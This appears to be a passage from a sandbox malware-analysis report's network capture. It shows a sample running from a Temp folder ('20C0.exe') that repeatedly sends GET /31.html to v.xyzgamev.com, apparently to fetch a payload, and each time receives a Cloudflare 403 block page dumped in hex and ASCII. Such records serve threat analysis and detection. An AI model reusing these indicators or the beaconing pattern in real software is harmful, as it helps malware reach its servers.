2022-08-31 12:29:03 UTC	4747	IN	Data Raw: 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 Data Ascii: olumns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online a
2022-08-31 12:29:03 UTC	4749	IN	Data Raw: 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">&b
2022-08-31 12:29:03 UTC	4750	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49750	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:04 UTC	4750	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:04 UTC	4750	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:19 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X%2ByvCA6xIu5qdEeWvYKKjWyZ2sjIwnku4yQn4ptGyBBghvnqHSOAPEy6sLUMDsOSk47UXkZo%2FPX%2FkAXgIS4f6k5%2FibjJp48quXNhrHw43TTtHtOFCS5dnkyRa%2BTNl7IPMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c505dada900c-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:04 UTC	4751	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:04 UTC	4751	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:29:04 UTC	4753	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:29:04 UTC	4754	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:29:04 UTC	4755	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49751	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:04 UTC	4755	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:04 UTC	4755	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:19 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PXJ3XRyT8b9O0qZE6LAdTJDH1GzlY3DIVIiJw27GRRJtp6%2F3i5%2F0pKuxpBjmsDT%2BQ5%2Bu8wSSDdZ6Uoul7J8vrfTXj4lgLGBzzw6kpbdl5wQaMfhAcal8MCqcfmt1GzXCqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5073d7f8fd1-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:04 UTC	4756	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:04 UTC	4757	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
2022-08-31 12:29:04 UTC	4758	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:29:04 UTC	4759	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:29:04 UTC	4760	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49753	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:05 UTC	4760	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:05 UTC	4760	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:20 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=m8qcmwylIpgTwZ4qfetqVB8AJplaHRkL7zba0WQVzKeFrexkGnTEJIDmnV%2Fnh62Yw7no0HkyqtzIRIw%2BWfGy8HnIRpwEySOpG7nr3UXQ6cxKruxMuQupasvrO0IO%2FrzTZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c50e8cd7917a-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:05 UTC	4761	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:05 UTC	4762	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:05 UTC	4763	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:05 UTC	4764	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:05 UTC	4766	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49754	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:06 UTC	4766	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:06 UTC	4766	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:21 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=G3wYIgfXmHWIjKy18WyGVTdvI0iGc2vyRB%2BxichvAJTIvsD5aGQ2FAYkv0zjSYQXiQC7AVmC1GURYjFV%2Fy1lxMv0aTa6Lw5dncvGNyEWXAWEYTlnihn16554vua27OAbKQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5114e30bb37-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:06 UTC	4766	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:06 UTC	4767	IN	Data Raw: 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 Data Ascii: ="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEna
